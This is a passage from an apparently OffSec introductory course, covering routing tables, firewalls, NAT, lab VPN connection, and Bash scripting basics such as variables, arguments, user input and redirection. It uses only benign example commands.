The computer responds with and DHCP Request, "Sure, thanks."
Finally, the DHCP server responds with a DHCP ACK. This assigns
the IP address and it tells the computer the network's subnet mask,
its default gateway address, and its Domain Name Server (DNS)
address(es). It also tells the computer how long it has the IP address
before needing to revalidate.
Useful Network Technologies
This Learning Unit covers the following Learning Objectives:
- Display and read a routing table
- Understand how firewalls implement Access Control Lists (ACLs)
- Understand the purpose and capabilities of address translation
- Read and troubleshoot a Virtual Private Network (VPN) connection
This Learning Unit will take approximately 115 minutes.
This Learning Unit covers various important network technologies,
including routing tables, firewalls, Address Translation, and virtual
private networks (VPNs).
Let's say that Alice wants to send a message to Bob, but they are
not on the same network. As a simplified example, Alice will send her
message via her host machine, which will pass on the information to
her router. Alice's router will forward it to Bob's router, which will
finally send the information to its final destination, Bob's machine.
We say that there are three hops between Alice and Bob, because it
took three different transmissions to get the information packet to
its destination.
Alice's router needs to know where to send the data. For this, it
will use something called a Routing Table.[107] Routing tables help
machines determine how they can send information to other hosts that
they may not have a direct connection with. True to its namesake,
a routing table is simply a table of rows and columns that contain
important information about the next hops on the network. A routing
table essentially describes a chart for how its router (or network
host) can reach an array of potential destinations in the most
efficient manner, by making use of the least number of hops possible.
Routing tables can be used to direct traffic within a network, or
across multiple networks. For the latter, routing tables can include
both static and dynamic data. Static routes are simply hardcoded
addresses, whereas dynamic routes are learned by a machine or router
through some networking protocol (for example, DHCP).
We can view both Windows and Linux based machines' routing tables via
the route command. Let's check out the default routing table
on the browser-based Kali VM.
kali@kali:~$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.52.254 0.0.0.0 UG 100 0 0 eth0
192.168.52.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
Listing 14 - Checking a route table on Kali
The first line of output indicates that any traffic received by the
machine that is not in the 192.168.52.0/24 range gets forwarded to
the default gateway, 192.168.52.254. (We know that it is /24 because
earlier we learned that the CIDR of 255.255.255.0 is /24.) That
gateway then takes care of forwarding the packets farther. Any traffic
destined for 192.168.52.0/24 gets forwarded to 0.0.0.0, which means
the traffic does not travel any farther.
0.0.0.0[108] is a special IP address that usually designates an
unknown or unroutable destination. However, its use in routing tables
indicates the default route that traffic should take unless specified
by another entry in the table.
In other words, our VM can reach any machines on the 192.168.52.0/24
subnet. Any machines on that subnet can reach it too, all without the
help of a router, because they belong to the same network class.
Additionally,, we cannot reach any other subnets or networks directly.
All the traffic generated on the VM that doesn't specifically match
the second line goes out to the default gateway. The default gateway
(a simple router or a firewall) will then decide which packets to
forward and to where. We'll discuss firewalls shortly.
Firewalls[109] receive, and then drop or allow, incoming and outgoing
traffic to pass through a network based on rules defined by a system
or network administrator.
We can think of a firewall as a border guard. It sees all traffic
directed at it, and then decides if it will allow the traffic to pass
through onto its destination, or if it will prevent the traffic from
further travel.
The most common type of firewall is a packet filter, which
essentially takes in each packet it receives and decides if the
packet should continue on its journey (or not). The rules it uses to
determine the fate of each packet are captured in an Access Control
List (ACL).[110]
ACLs have several applications for security. For example, they
are often used to determine permissions on a filesystem[111] or to
determine access levels on an Active Directory domain.[112] In the
context of firewalls, ACLs are simply lists of rules that express
if a packet originating from some source and/or directed to some
destination should pass through or not. There are slightly more
complex rule sets available (depending on the implementation) rather
than just drop or accept. For example, a firewall's ACL may
specify a reject rule, that drops a given packet but also sends
a message to the originator to let them know that their packet was
rejected.
Firewalls can be used to control traffic on a particular machine,
or to control traffic throughout a network. For example the
iptables[113] program included on Kali and other Linux
distributions is a host-based firewall that allows the user to
administer various rules that dictate how traffic is handled by the
machine. We'll look into how to use iptables in a later Module.
Network-based firewalls, on the other hand, can also be implemented as
software running on a dedicated host, but they can also be implemented
as special standalone hardware devices.
Earlier, we mentioned that subnet masks help IPv4 resolve the problem
of having too few addresses to fit the Internet's demand. Network
Address Translation (NAT) is another tool used by IPv4 to increase
the amount of IP addresses possible.
NAT works by creating a one-to-many map between private IP
addresses and public IP addresses. First, let's discuss this notion
of private IP addresses. Certain ranges of the IPv4 address space
are reserved for private use. Essentially, this means that anyone can
create private networks using these addresses, because they do not in
themselves connect to the Internet. These ranges are:
-
10.0.0.0/8
-
172.16.0.0/12
-
192.168.0.0/16
This is why the machines you connect to via the Offsec Labs are in the
192.168.0.0/16 address space.
Let's say we create a network of three machines in the 192.168.10.0
subnet:
-
M1: 192.168.10.1
-
M2: 192.168.10.2
-
M3: 192.168.10.3
Let's use the IP address of 192.124.249.5.
These machines are sitting on our private network, behind NAT. When
any of these machines attempt to connect to a public IP address
(assuming routing and firewall rules allow such traffic), a few things
will happen.
First, the machine (lets say M1) will send a packet to its
intended destination, 192.124.249.5. The packet's header will contain
M1's own IP address as source, as well as the IP address
192.124.249.5 as destination.
Second, the network's default gateway will receive the packet. It
will overwrite the source IP address with the gateway's public IP
address.
Third, the gateway will send the modified packet over to
192.124.249.5. The gateway will also remember the original source IP
of the packet, so that when any returning traffic is received, it can
redirect the traffic appropriately by overwriting the destination
IP.
NAT greatly increases the amount of addresses that can communicate on
the Internet but it also has some important implications for security.
Since the default gateway will overwrite all source IP addresses
by its public address, any traffic passed through the gateway looks
like it is coming from the gateway itself. This helps protect the
internal IP addresses, since it is difficult for a given destination
to know what the "real" source IP address is. On the flip side, NAT
can make it difficult to attribute traffic for network and system
administrators outside of a private network.
Port Address Translation (PAT)[114] is an extension of NAT, where
each system within a private network is assigned a specific port
number between 0 and 65535. When the network's gateway receives a
packet from M1, it will overwrite the source IP address
with its own, just as it would with standard NAT. In addition, it
will overwrite the source port with M1's dedicated port
number as well. This way the receiver can tell the difference between
a packet coming from M1 and a packet coming from another
machine (M3, for example), because their source ports will be
unique.
A Virtual Private Network (VPN) essentially allows for the creation
of a private network that acts as a dedicated tunnel within another
public network (i.e the Internet). This can let network administrators
host, provide, and access resources that are not open to the public
network, while also maintaining public network connectivity.
A VPN can be accessed remotely via several authentication protocols.
For example, the VPN used to access the labs employs certificate-based
authentication. We'll learn more about certificate-based
authentication in the later Module. VPNs can also be configured to
allow traditional credential-based authentication, as well as a
combination of both.
When a user authenticates to a VPN, their host is provided with a new
virtual network interface. That interface, typically called tun0
or tap0 is provided with one or more routes to the private network.
The host can now communicate with machines residing on that network,
pending any rules controlled by the VPN's firewall.
In Kali, we can connect to a VPN using a VPN pack or .ovpn
file. This file contains several pieces of information about the
network, as well as any certificates or keys required to connect.
Lets take a look at a .ovpn file used to connect to the
labs.
kali@kali:~$ cat vpn_config.ovpn -n
1 persist-tun
2 persist-key
3 tls-client
4 client
5 resolv-retry 5
6 connect-retry-max 1
7 explicit-exit-notify 1
8 remote-cert-tls server
9 nobind
10 remote-random
11 dev tun
12 cipher AES-128-CBC
13 ncp-ciphers AES-128-GCM
14 auth SHA1
15 remote pg-pool1.offseclabs.com 1194 udp
16 remote pg-pool2.offseclabs.com 1194 udp
17 verify-x509-name "offensive-security.com" name
18
...
Listing 15 - Reading the contents of a .ovpn file
Even if we don't know what each of these lines means, we can glean
a few tidbits that stand out. For example, we can tell from line 14
which authentication algorithm is being used by the VPN, and line 15
and 16 tell us which domain name and port to connect to.
We can connect to the VPN by supplying the openvpn client
with the name of the VPN pack.
kali@kali:~$ sudo openvpn vpn_config.ovpn
2021-04-27 16:44:27 Note: Treating option '--ncp-ciphers' as '--data-ciphers' (renamed in OpenVPN 2.5).
2021-04-27 16:44:27 DEPRECATED OPTION: --cipher set to 'AES-128-CBC' but missing in --data-ciphers (AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-128-CBC' to --data-ciphers or change --cipher 'AES-128-CBC' to --data-ciphers-fallback 'AES-128-CBC' to silence this warning.
2021-04-27 16:44:27 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Feb 24 2021
2021-04-27 16:44:27 library versions: OpenSSL 1.1.1j 16 Feb 2021, LZO 2.10
2021-04-27 16:44:27 TCP/UDP: Preserving recently used remote address: [AF_INET]142.44.204.172:1194
2021-04-27 16:44:27 UDP link local: (not bound)
2021-04-27 16:44:27 UDP link remote: [AF_INET]142.44.204.172:1194
2021-04-27 16:44:27 [offensive-security.com] Peer Connection Initiated with [AF_INET]142.44.204.172:1194
2021-04-27 16:44:28 TUN/TAP device tun0 opened
2021-04-27 16:44:28 net_iface_mtu_set: mtu 1500 for tun0
2021-04-27 16:44:28 net_iface_up: set tun0 up
2021-04-27 16:44:28 net_addr_v4_add: 192.168.49.130/24 dev tun0
2021-04-27 16:44:28 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2021-04-27 16:44:28 Initialization Sequence Completed
Listing 16 - Connecting to the Offsec Labs
Note: we need to invoke sudo because the tun0 network
interface must be created with elevated permissions. Here is the error
we receive when we attempt to connect as the kali user.
kali@kali:~$ openvpn vpn_config.ovpn
2021-04-27 18:12:43 Note: Treating option '--ncp-ciphers' as '--data-ciphers' (renamed in OpenVPN 2.5).
2021-04-27 18:12:43 DEPRECATED OPTION: --cipher set to 'AES-128-CBC' but missing in --data-ciphers (AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-128-CBC' to --data-ciphers or change --cipher 'AES-128-CBC' to --data-ciphers-fallback 'AES-128-CBC' to silence this warning.
2021-04-27 18:12:43 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Feb 24 2021
2021-04-27 18:12:43 library versions: OpenSSL 1.1.1j 16 Feb 2021, LZO 2.10
2021-04-27 18:12:43 TCP/UDP: Preserving recently used remote address: [AF_INET]51.222.130.179:1194
2021-04-27 18:12:43 UDP link local: (not bound)
2021-04-27 18:12:43 UDP link remote: [AF_INET]51.222.130.179:1194
2021-04-27 18:12:43 [offensive-security.com] Peer Connection Initiated with [AF_INET]51.222.130.179:1194
2021-04-27 18:12:44 ERROR: Cannot ioctl TUNSETIFF tun: Operation not permitted (errno=1)
2021-04-27 18:12:44 Exiting due to fatal error
Listing 17 - Failing to connect as the Kali user
Troubleshooting tip: the OpenVPN client will not prevent you from
connecting to the same VPN multiple times. The only indication you
will receive is that a tun1 network interface will be created
instead of tun0. This can be observed in the openvpn output, as well
as by running the ip command.
Offsec's VPNs do not allow multiple connections to occur from the same
user at the same time. However, since the client can connect to the
VPN arbitrary times, the end result is that traffic may be lost and
connections may be slow. If you notice that your connectivity to the
VPN is less responsive than usual, check to make sure that you haven't
connected to the VPN via multiple instances.
Bash Scripting Basics
In this Topic, we will cover the following Learning Units:
- Understand Bash scripting
- Use variables and assignment
- Understand how arguments are used
- Manage input and output
- Use conditional statements
- Use Boolean operations
- Create loop in scripts
- Use functions for clarity
Each learner moves at their own pace, but this topic should take
approximately 6 hours to complete.
The GNU Bourne-Again Shell (Bash)[115] is a powerful work
environment and scripting engine. As security professionals, we need
to be comfortable managing and interacting with Bash scripting to
streamline and automate many Linux tasks and procedures.
In this Topic, we will introduce Bash scripting.
Intro to Bash Scripting
This Learning Unit covers the following Learning Objectives:
- Create our first bash script
- Run a bash script
This Learning Unit will take approximately 30 minutes to complete.
A Bash script is a plain-text file that has a series of commands that
are executed as if they had been typed at a terminal prompt. Generally
speaking, Bash scripts have an optional extension of .sh (for
ease of identification), begin with #!/bin/bash, and must
have executable permissions set before they can be executed.
Let's begin with a simple "Hello World" Bash script. Let's create a
file named hello-world.sh and put the commands below in it.
This script will simply print "Hello World".
kali@kali:~$ cat ./hello-world.sh
#!/bin/bash
# Hello World Bash Script
echo "Hello World!"
Listing 1 - Creating a simple 'Hello World' Bash
script
This script has several components worth explaining:
-
Line 1: Is composed of two parts, the first part, #! is commonly
known as the shebang,[116] and it is used to point to what
interpreter the commands should use. The second part, /bin/bash, is
the absolute path[117] to the interpreter, which is used to run
the script. This makes it a "Bash script" as opposed to another type
of shell script, like a "C Shell script". -
Line 2: A single # is used to add a comment, so all text that
follows it on the same line is ignored. Comments are good to leave
notes for the person who is reading or using the code. This is
especially useful if it has been a month since the code is written,
and then used. -
Line 3: echo "Hello World!" uses the echo Linux command utility
to print a given string which in this case is "Hello World!" to the
standard output device, the terminal.
There are multiple ways to execute bash. We are going to explore them
below.
First, let's review the file entry for the bash script we've prepared.
We can do that by using the list command, ls, and specifying
the -l option.
kali@kali:~$ ls hello-world.sh -l
-rw- r--r-- 1 kali kali 59 Jan 16 14:20 hello-world.sh
Listing 2 - hello-world File Entry Unexecutable
We now want to run the script. The file listing shows that we have
read (r) and write (w) permission, but not execute (x). If we try to
run it, we receive the following error message:
kali@kali:~$ ./hello-world.sh
bash: ./hello-world.sh: Permission denied
Listing 3 - 'Hello World' Bash script Permission denied
We can use the chmod command with +x to add execute
permissions. Let's do that and then check the file entry again.
kali@kali:~$ chmod +x hello-world.sh
kali@kali:~$ ls hello-world.sh -l
-rwx r-x r-x 1 kali kali 59 Jan 16 14:29 hello-world.sh
Listing 4 - hello-world File Entry Executable
Now we have the execute option, we can run the script without directly
calling on the interpreter.
kali@kali:~$ ./hello-world.sh
Hello World!
Listing 5 - Running a simple 'Hello World' Bash
script
Nice! We were able to run the script and have the text displayed on
the terminal.
Another way to successfully run the bash script is to pass the script
as an argument to the bash command.
kali@kali:~$ bash hello-world.sh
Hello World!
Listing 6 - Running a simple 'Hello World' Bash
script with bash
Perfect! The script ran and we have "Hello World!" displayed on the
terminal.
The last method we will discuss is running bash commands from the
command line. Bash is a shell and an interpreter that will run shell
commands. So, we can take the code from our script and type it (or
paste it) directly into the terminal. If the default shell is Bash, it
will run our commands as bash.
There are different kinds of Unix distributions and shells
that exist. Bash is one type of shell that is default on many Linux
distributions. While there is a large overlap between shells, it is
important to note that there are small differences.
Let's check it out:
kali@kali:~$ echo "Hello World!"
Hello World!
Listing 7 - Using Command Line Interface to run Bash Commands
Once again, our code works when we run directly from the command line.
As we move forward, remember that we have many options to execute
bash.
Variables and Assignment
This Learning Unit covers the following Learning Objectives:
- Understand declaring variables
- Use text substitution
- Understand command substitution
- Use numeric variables
This Learning Unit will take approximately 60 minutes to complete.
Our first script was very simple, but we can do much more with Bash.
Let's start by looking at how we can use variables to store values
we want to use. Variables are named locations in which we temporarily
store data while the script is running. We can set (or "declare")
a variable, which assigns a value to it. Once we've set it, we can
use it in our commands which will "expand" or "resolve" it using its
stored value.
Variables can be in uppercase, lowercase, or a mixture of both.
However, Bash is case-sensitive so we must be consistent when
declaring and using variables. That means that the variable surname
is not the same as Surname.
It's good practice to use descriptive variable names, as these make
our scripts much easier to read and maintain. While that may not be so
obvious on the day we write the script, it certainly is the case two
years later when we pick it up and try to understand it.
We can declare variable values in several ways. The easiest method
is to set the value directly with a simple name=value declaration.
Let's begin by setting a variable, and notice that there are no spaces
before or after the "=" sign:
kali@kali:~$ firstname=Good
Listing 8 - Declaring a simple variable
Now that we have set a variable, we need to reference it. We do this
by putting the "$" character in front of the variable. When Bash
encounters this syntax in a command, it replaces the variable name
with its value ("expands" the variable) before execution.
Let's declare a second variable called surname and assign it the
value "Hacker".
kali@kali:~$ surname=Hacker
Listing 9 - Declaring another variable
Now that we have set the variables, let's use the echo
command to print them out the terminal.
kali@kali:~$ echo $firstname $surname
Good Hacker
Listing 10 - Displaying our own variables
The text "Good Hacker" is displayed on the terminal because of the
echo command. The command takes $firstname and
$surname as arguments and prints them on the terminal. In
this case, they are variables, which contain values. It also take the
space character into account, which is why we have a space between
"Good" and "Hacker".
Some languages require that we explicitly declare a variable as a
specific type such as Integer, Real, String, and so on - but in Bash,
all variables are held as strings and then used as appropriate to the
context.
In our previous example, we set firstname and surname to single
words, but sometimes we'll want to use more than one word, so let's
see what happens when we do that.
kali@kali:~$ greeting=Hello World
bash: World: command not found
Listing 11 - Two word variable without quotes
Our attempt to declare a greeting has caused an error because bash
thinks that after the word "Hello" we are writing a new command. To
correct this we'll need to use quotes around the string.
kali@kali:~$ greeting="Hello World"
kali@kali:~$ echo $greeting
Hello World
Listing 12 - Using quotes around string variables
We can use single or double quotes to declare string variables, but
there's a difference in how Bash interprets certain characters in
strings, and we need to be aware of this when we're scripting.
When encountering single quotes, Bash interprets every enclosed
character literally with no interpretation.
When enclosed in double-quotes, certain characters such as "$",
"`", and "\" in variables will be processed in an initial
substitution pass on the enclosed text. We need to understand what
this means for the value in our variable.
Let's start with a simple example to understand how "$" is handled.
First, we'll create a variable using single quotes and print that out
with echo. Then we'll create a second variable in double-quotes. For
this second variable, we will include the first variable.
kali@kali:~/Documents/test$ greeting='Hello World'
kali@kali:~/Documents/test$ echo $greeting
Hello World
kali@kali:~/Documents/test$ greeting1='New $greeting'
kali@kali:~/Documents/test$ echo $greeting1
New $greeting
kali@kali:~/Documents/test$ greeting2="New $greeting"
kali@kali:~/Documents/test$ echo $greeting2
New Hello World
Listing 13 - Using single and double-quotes to
illustrate complex variable assignment using a string
When we used the "$" inside single quotes, it printed out exactly
what we entered. Bash interprets the "$" as the literal character
"$". However, when we used double quotes, Bash interprets the "$"
as the lead-in character that specifies a variable and prints out the
variable content.
We've already echoed two variables together to display a combined
string. Similarly, we can combine two variables into a third using
Bash, as shown in the following example.
kali@kali:~$ greet1="Hello, my name is "
kali@kali:~$ greet2="Jolinda"
kali@kali:~$ greeting=$greet1$greet2
kali@kali:~$ echo $greeting
Hello, my name is Jolinda
Listing 14 - Concatenating strings
This process is known as concatenation and it can be quite useful if
we're building a multi-part string as we're executing our script.
The backtick character is another special character and is used to
embed commands or program names in variables. When we resolve the
variable, such as by echoing it, the command is executed and we get
the results. This is known as command substitution.[118]
We do this by embedding the command in backticks within a
double-quoted string. Again, if we use single quotes, we'll just
get the literal value we've set. Let's code this using the command
whoami with single and double-quoted strings, and print the
results to the terminal.
kali@kali:~$ user1="`whoami`"
kali@kali:~$ echo $user1
kali
kali@kali:~$ user2='`whoami`'
kali@kali:~$ echo $user2
`whoami`
Listing 15 - Illustrating the use of command
substitution with backticks
Using double quotes, the whoami command is executed and the result is
the active username - in this case, kali. Using single quotes, we
get the literal value we set for the variable.
In this context, double quotes are the default when neither single nor
double quotes are specified for a string, so the backtick doesn't need
to be scripted in quotes. Let's run the previous example again, this
time without quotes.
kali@kali:~$ user1=`whoami`
kali@kali:~$ echo $user1
kali
Listing 16 - Illustrating the use of unquoted backticks
There's also another way to get command execution using Bash
scripting. We can place the variable name in parentheses
"()", preceded by a "$" character:
kali@kali:~$ user=$(whoami)
kali@kali:~$ echo $user
kali
Listing 17 - Illustrating the use of command
substitution using parentheses
The backtick method is older and typically discouraged as there
are differences in how the two methods of command substitution
behave.[119] It's also important to note that command
substitution happens in a subshell and variable changes in the
subshell will not alter variables from the master process - but that's
for another day as it's out of scope for this Learning Unit.
What is in scope, however, is understanding when command execution
takes place. When using command substitution, it's important to
remember that command execution takes place at the time the variable
is set, not when its resolved, as shown in the following example.
kali@kali:~$ part="To be"
kali@kali:~$ quote=$(echo $part)
kali@kali:~$ part="Or not to be"
kali@kali:~$ echo $quote
To be
Listing 18 - Illustrating the timing of command
substitution
This example demonstrates that when the command "echo $part" was
executed, we saved the results of execution to the variable we called
quote. When we subsequently changed the variable called part, it did
not affect the value of quote.
As we've noted, Bash holds its variables as strings. However, we can
use Bash variables as numeric values and we can manipulate them with
mathematical operators. Bash deals with numbers only as integers and
does not handle floating-point values.
To demonstrate this, we'll use a special convention in Bash for
carrying out mathematical operations which is the use of double
parentheses.
kali@kali:~$ firstNumber="7"
kali@kali:~$ secondNumber=3
kali@kali:~$ echo $((firstNumber+secondNumber))
10
Listing 19 - Illustrating the use of numerics
Here, we used the double parentheses to signify the use of arithmetic
operations. The variable firstNumber contains the string "7" while
the variable secondNumber contains the string "3". Keep in mind,
that from the bash interpreter perspective, variables are treated as
strings by default. In this case, it does not matter if we put double
quotes, single quotes, or no quotes around the numbers. Bash will only
interpret them as strings.
Because the variables are within the double parentheses and the values
resemble numbers, bash converts them to numbers. The dollar sign ($)
represents the return value and thus, 10 is printed in the terminal.
If we attempt to do an operation and one of the values is not numeric,
then bash defines it as the numerical value of zero.
kali@kali:~$ firstNumber="seven"
kali@kali:~$ secondNumber=3
kali@kali:~$ echo $((firstNumber+secondNumber))
3
kali@kali:~$ echo $((firstNumber*secondNumber))
0
Listing 20 - Using strings in numeric operations
In this case, the string "seven" does not represent a numerical
value. Bash will define that value as the number 0 when used within an
arithmetic operation. Therefore, 0+3 equals 3 and 0*3 equals 0, which
is what is printed in the terminal.
We need to be careful, because if we give bash an opportunity to deal
with these variables as strings, it will happily do so, as in the
following example.
kali@kali:~$ firstNumber=7
kali@kali:~$ firstNumber=$firstNumber+1
kali@kali:~$ echo $firstNumber
7+1
Listing 21 - A mistake with numeric variables
In this example, we lacked the double parentheses, which tells the
interpreter to convert strings to numbers if they resemble numerical
values. Because of that it treated "7+1" as characters and not a
mathematical operation.
There's another way of evaluating mathematical operations, using the
let command. This command understands the four standard mathematical
operators, and also the double-plus operator which is used to
increment or add 1 to a value. This is demonstrated in the following
example.
kali@kali:~$ val1=3
kali@kali:~$ val2=6
kali@kali:~$ let val3=val1+val2
kali@kali:~$ echo $val3
9
kali@kali:~$ let val1++
kali@kali:~$ echo $val1
4
Listing 22 - Using Let for numeric operations
Note that we don't use the $ prefix when coding expressions with
let. In the majority of situations it's preferable to use double
parentheses, but its useful to be aware of the let command.
Using Arguments
This Learning Unit covers the following Learning Objectives:
- Use arguments in a Bash script
- Understand special Bash variables
This Learning Unit will take approximately 60 minutes to complete.
Sometimes we will want to use arguments in our Bash scripts.[120] In
the next sections, we'll learn how arguments are handled by Bash.
Just as we might use an argument on a command, we can use arguments
in a script. Let's review a simple script that requires two arguments.
This has been coded into the arg.sh script file and made
executable.
kali@kali:~$ cat arg.sh
#!/bin/bash
echo "There are $# arguments"
echo "The first two arguments are $1 and $2"
kali@kali:~$ ./arg.sh who goes there?
There are 3 arguments
The first two arguments are who and goes
Listing 23 - Illustrating the use of arguments in Bash
The variable $1 is printed out as "who" and $2 is printed out as
"goes". This confirms that $1 and $2 variables represent the first
and second arguments passed to the script.
In this example, we have two positional arguments and we understand
their meaning by the position they appear on the command. However,
when there are many arguments, remembering their order can be
problematic. To address this, Bash lets us use named arguments which
consist of an initial argument name with a single or double dash
prefix, followed by the value (which may or may not require an equals
sign). For example, we can use the Bash head command to list the
first few lines of a file. By default, this lists the first 10.
However, we can use the named argument --lines to specify how
many we want.
kali@kali:~$ head heidi.txt --lines=2
The secrets of wealth and the love of the muse,
But gladness is predictable by universal laws;
Listing 24 - Illustrating the use of named arguments in Bash
We won't go into named arguments in our scripts, as these are beyond
the scope of this topic, but it's useful to know that they exist and
that Bash does provide ways to handle them.
Please use the following instructions for some of the exercises
below.
SSH into the machine using the provided credentials. Then, navigate
to the user's home directory, if necessary, where we will find a
challenge folder. Change directories into folder, where we will find
two files.
Let's take user "challenge1" as an example. The following example is
for explanation purposes only. This user, directory, and files do not
exist in the machine lab.
challenge1@ubuntu20temp:/$ pwd
/
challenge1@ubuntu20temp:/$ cd /home
challenge1@ubuntu20temp:/home$ ls
challenge1
challenge1@ubuntu20temp:/home$ cd challenge1/
challenge1@ubuntu20temp:~$ ls
challenge1
challenge1@ubuntu20temp:~$ cd challenge1/
challenge1@ubuntu20temp:~.challenge1$ pwd
/home/challenge1/challenge1
challenge1@ubuntu20temp:~.challenge1$ ls -la
total 16
drwxr-xr-x 2 challenge1 challenge1 4096 Jan 20 21:11 .
drwxr-xr-x 3 challenge1 challenge1 4096 Jan 20 21:17 ..
-rwx------ 1 challenge1 challenge1 43 Jan 20 21:10 challenge1.sh
-rwx------ 1 root root 143 Jan 20 21:11 challenge1_test.sh
Listing 25 - Finding challenge files within the challenge directory
We have full privileges over the first file, while the second file
is owned by root. Try to cat both files. We will find out that our
user does not have read or write permissions to the second file. What
we can do, however, is run the file as root. When we run the second
file, it will take our first file, run some checks, and provide the
flag if the requirements are met. Otherwise, we won't get our flag.
challenge1@ubuntu20temp:~.challenge1$ cat challenge1.sh
#!/bin/bash
echoVariable () {
# In this challenge, we need to echo the argument
echo test # this line can be altered or removed
}
# the line below initiates the echoVariable() function using the variable "name" as the argument. Use it for testing. It is recommended to not modify it as it can break functionality.
echoVariable "name"
challenge1@ubuntu20temp:~.challenge1$ cat challenge1_test.sh
cat: challenge1_test.sh: Permissions denied
challenge1@ubuntu20temp:~.challenge1$ sudo /bin/bash /home/challenge1/challenge1/challenge1_test.sh
challenge1@ubuntu20temp:~.challenge1$
Listing 26 - File permissions
We are responsible for writing code within the curly brackets in the
first file and running the second file to get the flag. Let's use our
favorite text editor to modify the first file, challenge.sh.
Then we will cat the file to confirm our changes.
challenge1@ubuntu20temp:~.challenge1$ cat challenge1.sh
#!/bin/bash
echoVariable () {
#In this challenge, we need to echo the argument
echo $1
}
# the line below initiates the echoVariable() function using the variable "name" as the argument. Use it for testing. It is recommended to not modify it as it can break functionality.
echoVariable "name"
Listing 27 - Confirming our changes in the first file
Let's run the script and see if we get the expected output.
challenge1@ubuntu20temp:~.challenge1$ ./challenge1.sh
name
Listing 28 - Testing our code
Perfect! Our task was to echo the argument. The argument in the test
case was "name" and we were able to successfully echo it. Finally,
let's run the second file, where it takes our code within the
function, runs several checks and compare the results. If everything
matches, it will provide the flag. We will need to use the sudo
command to run it as root and provide the absolute path of the bash
binary and the check script, in this case challenge_test.sh
challenge1@ubuntu20temp:~.challenge1$ sudo /bin/bash /home/challenge1/challenge1/challenge1_test.sh
BASH{OUR_FLAG}
challenge1@ubuntu20temp:~.challenge1$
Listing 29 - Getting the Flag
In the above example, our code in challenge.sh passed the
checks in the challenge_test.sh script. Therefore, the flag
was provided when we ran the challengetest.sh script.
Follow the same methodology for some of the exercises in this topic.
Bash reserves some special variable names, as shown in the table
below.
| Variable Name | Description |
|---|---|
| $0 | The name of the Bash script |
| $1 - $9 | The first 9 arguments to the Bash script |
| $# | Number of arguments passed to the Bash script |
| $@ | All arguments passed to the Bash script |
| $? | The exit status of the most recently run process |
| $$ | The process ID of the current script |
| $USER | The username of the user running the script |
| $UID | The user identifier of the user running the script |
| $HOSTNAME | The hostname of the machine |
| $RANDOM | A random number |
| $LINENO | The current line number in the script |
Table 1 - Special Bash variables
We've come across the variables $1 and $2 as script arguments,
and we can use up to nine positional arguments. Note that the argument
$0 provides the name of the script in the form it was entered so it
may have file path information - or may not.
Some of these special variables can be very useful when debugging
a script. For example, we might want to check the exit status of a
command to determine whether it was successfully executed or not.
kali@kali:~$ ls /home
kali
kali@kali:~$ echo $?
0
kali@kali:~$ ls /home/sweet/home
ls: cannot access '/home/sweet/home': No such file or directory
kali@kali:~$ echo $?
2
Listing 30 - Illustrating the use of the command status code
In this example, the first listing was for a valid folder and returned
an exit code of zero. The second attempt failed as the folder does not
exist, and the command returned an exit code of 2.
We can set the exit status of our script by using the exit
command with a value. Let's set our exit status to 1 in the
args.sh example.
kali@kali:~$ cat arg.sh
#!/bin/bash
echo "There are $# arguments"
echo "The first two arguments are $1 and $2"
exit 1
kali@kali:~$ ./arg.sh who goes there?
There are 3 arguments
The first two arguments are who and goes
kali@kali:~$ echo $?
1
Listing 31 - Illustrating the use of exit status code
We'll leave this here for now, but we'll be using special variables as
we progress through this Topic.
Input and Output in Bash
This Learning Unit covers the following Learning Objectives:
- Understand the read command
- Understand the concept of standard input, standard output, and
redirection - Manage files
This Learning Unit will take approximately 60 minutes to complete.
So far we have looked at static Bash scripts which execute fixed code
or take input from the command line. Let's learn how to interact with
the user, take the information they provide, and do something with it.
We can request user input while a script is running by using the
read command. In this example, we'll take user input and
assign it to a variable. When this script runs, it prints a question
to the screen and waits for an answer from the user. Once that
happens, the program will echo out another line that tells the user
what their answer is.
kali@kali:~$ cat ./input1.sh
#!/bin/bash
echo "Hello there, would you like to learn how to hack: Y/N?"
read answer
echo "Your answer was $answer"
kali@kali:~$ ./input1.sh
Hello there, would you like to learn how to hack: Y/N?
Y
Your answer was Y
Listing 32 - Collecting user input using read
From the output, we can observe that the script waited at a blank
line below the message. We can change that experience for the user by
adding various options to the read command. Two of the most commonly
used options include -p, which allows us to specify a prompt,
and -s, which makes the user input silent. The latter is
ideal for entering user credentials.
In the example below, we ask the user to input the credentials and use
the -p option with the text "Username: ", which will display
what is typed. Then we ask the user to enter their password, with
the -sp option. This option will hide the text that the user
types.
kali@kali:~$ cat input2.sh
#!/bin/bash
# Prompt the user for credentials
read -p 'Username: ' username
read -sp 'Password: ' password
echo "Thanks, your creds are as follows: " $username " and " $password
kali@kali:~$ ./input2.sh
Username: kali
Password:
Thanks, your creds are as follows: kali and nothing2see!
Listing 33 - Prompting user for input and silently
reading it using read
We now know how to request input from the user and use it in our
script.
When we issue the read command, Bash waits for us to type in some
input. When we execute the echo command, it displays the information
in our terminal. However, this is not the only way we can manage input
and output. There are two special operators we can use in Bash that
will allow us to provide input from a file rather than the keyboard,
and output to a file rather than the terminal. The redirection
operators are < and >. We'll also look at a variation of the
output redirection operator >>.
Let's build another script called input3.sh to just display
what it receives, make it executable, and run it.
kali@kali:~$ cat input3.sh
#!/bin/bash
read line
echo $line
kali@kali:~$ ./input3.sh
This is my input
This is my input
Listing 34 - Echoing input
Now let's run that again doing an input redirect to take the input
from a file we have previously created called heidi.txt.
kali@kali:~$ ./input3.sh < heidi.txt
The secrets of wealth and the love of the muse,
Listing 35 - Echoing redirected input
The script didn't wait at the terminal for input. Instead, it took
the first line from the file that we had redirected and echoed it
out to the terminal. Let's run that again and read two lines. We
can adjust the code by adding a second read and echo and calling it
input4.sh.
kali@kali:~$ cat input4.sh
#!/bin/bash
read line
echo $line
read line
echo $line
kali@kali:~$ ./input4.sh < heidi.txt
The secrets of wealth and the love of the muse,
But gladness is predictable by universal laws;
